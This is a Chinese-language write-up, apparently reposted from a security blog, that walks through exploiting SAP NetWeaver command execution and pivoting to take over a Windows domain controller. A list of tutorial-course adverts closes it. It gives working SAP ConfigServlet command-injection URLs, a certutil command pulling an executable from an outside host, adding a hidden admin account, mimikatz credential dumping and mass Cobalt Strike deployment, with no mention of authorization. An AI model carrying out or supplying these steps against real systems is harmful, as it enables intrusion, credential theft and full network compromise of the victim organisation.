记一次命令执行到内网渗透拿下域控

目标站采用 SAP NetWeaver 是 SAP 的集成平台

SAP 命令执行 payload 为网址 + 命令

Windows 执行

http://www.test.com/ctc/servlet/ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=cmd /c net user

Linux 执行

http://www.test.com/ctc/servlet/ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=id

由于提前得知目标为 Windows 机器，直接在目标网站执行 net user，得到如下结果

查看当前用户，权限以及网络信息

得到当前用户 sapxxx 为 administrator 权限，同时为内网机器，那么就可以直接执行 Windows 自带的下载命令，来下载一个狗洞，用来转发流量。

当然你可以直接执行比如 CS、MSF、以及你自己的远控等等，但是要考虑免杀问题，就用狗洞来操作。

Windows 下载命令为

certutil -urlcache -split -f http://8.8.8.8/test.exe C:\test.exe

下载好之后，首先要用狗洞服务端在你自己外网服务器打开一个监听功能，

目标机器执行上线命令

然后等待上线

成功上线后，自己电脑连接狗洞

出现此提示为连接成功，之后用代理软件，比如 Proxifier 或者 Sockscap 等工具代理本机 127.0.0.1 8088 端口

然后用命令执行去添加一个管理权限的用户
根据上面 ipconfig 得到的内网 ip10.85.x.x，直接连接其 3389
成功添加账号 admin$，直接登陆成功
在这里友情提示下，内网中存在域时，登陆账号要选择当前域计算机用户去登陆，不然会登陆不上

执行查询域管机命令发现没权限，然后用猕猴桃抓取一下本机账号密码，

使用 administxxx 账号，ATxxx 域去登陆，查询域管机与域管用户

巧了不是，直接用得到的 ATxxx\Administxxx 去登陆 SRV-DC-xx 或者 SRV-MAIN-xx
ping SRV-DC-xx 和 SRV-MAIN-xx 得到 ip

登录后

既然内网机器并无杀软，那么尝试上一个 cs 批量上线吧，搭建好 cs 服务端，直接生成文件在域控机上执行

等待机器上线后，右键执行猕猴桃，或者转储 hash，让他自动获取密码

然后执行 net view 或者 arp -a 来获取目标 ip

然后到目标处随便框选几台机器，当然你也可以全部选择，右键，登陆

然后选择你刚才搞出来的账号密码，选择一个监听器，坐等机器上线即可

最后给各位大佬比心，PS: 有指教请您留言

来源：https://www.xljtj.com/

如侵权请联系删除

获取更多教程请点击阅读原文

推荐学习教程

CTF网络安全大赛学习从入门到精通教程、工具、writeup合集

渗透测试工程师基础+进阶2套视频学习教程 零基础入门到高手

2018-2019零基础渗透测试web安全攻防网络安全漏洞讲解培训视频教程

2018-2019安卓逆向Android安全反编译脱壳加固IDA调试实战培训教程5套

web安全从入门到精通视频教程

Wireshark网络分析实践视频教程

全新企业级Linux高端运维实战高薪就业课程高可用架构+负载均衡+企业安全

web渗透之SRC漏洞挖掘视频教程

python从基础到网络爬虫数据分析人工智能机器学习深度学习24套视频教程

IOS逆向与安全学习视频教程

2019新软考网络信息安全工程师备考实战教程 软考安全工程师串讲

【教程】升级版HCIA-Security V3.0认证课程 华为ICT领域网络安全工程师教程

IOS逆向与安全学习视频教程

深度学习之神经网络 CNN/RNN/GAN 算法原理+实战视频教程

2019年新逆向破解学习视频教程  十天入门逆向破解

免责声明

扫描关注乌云安全

快戳阅读原文！获取更多视频教程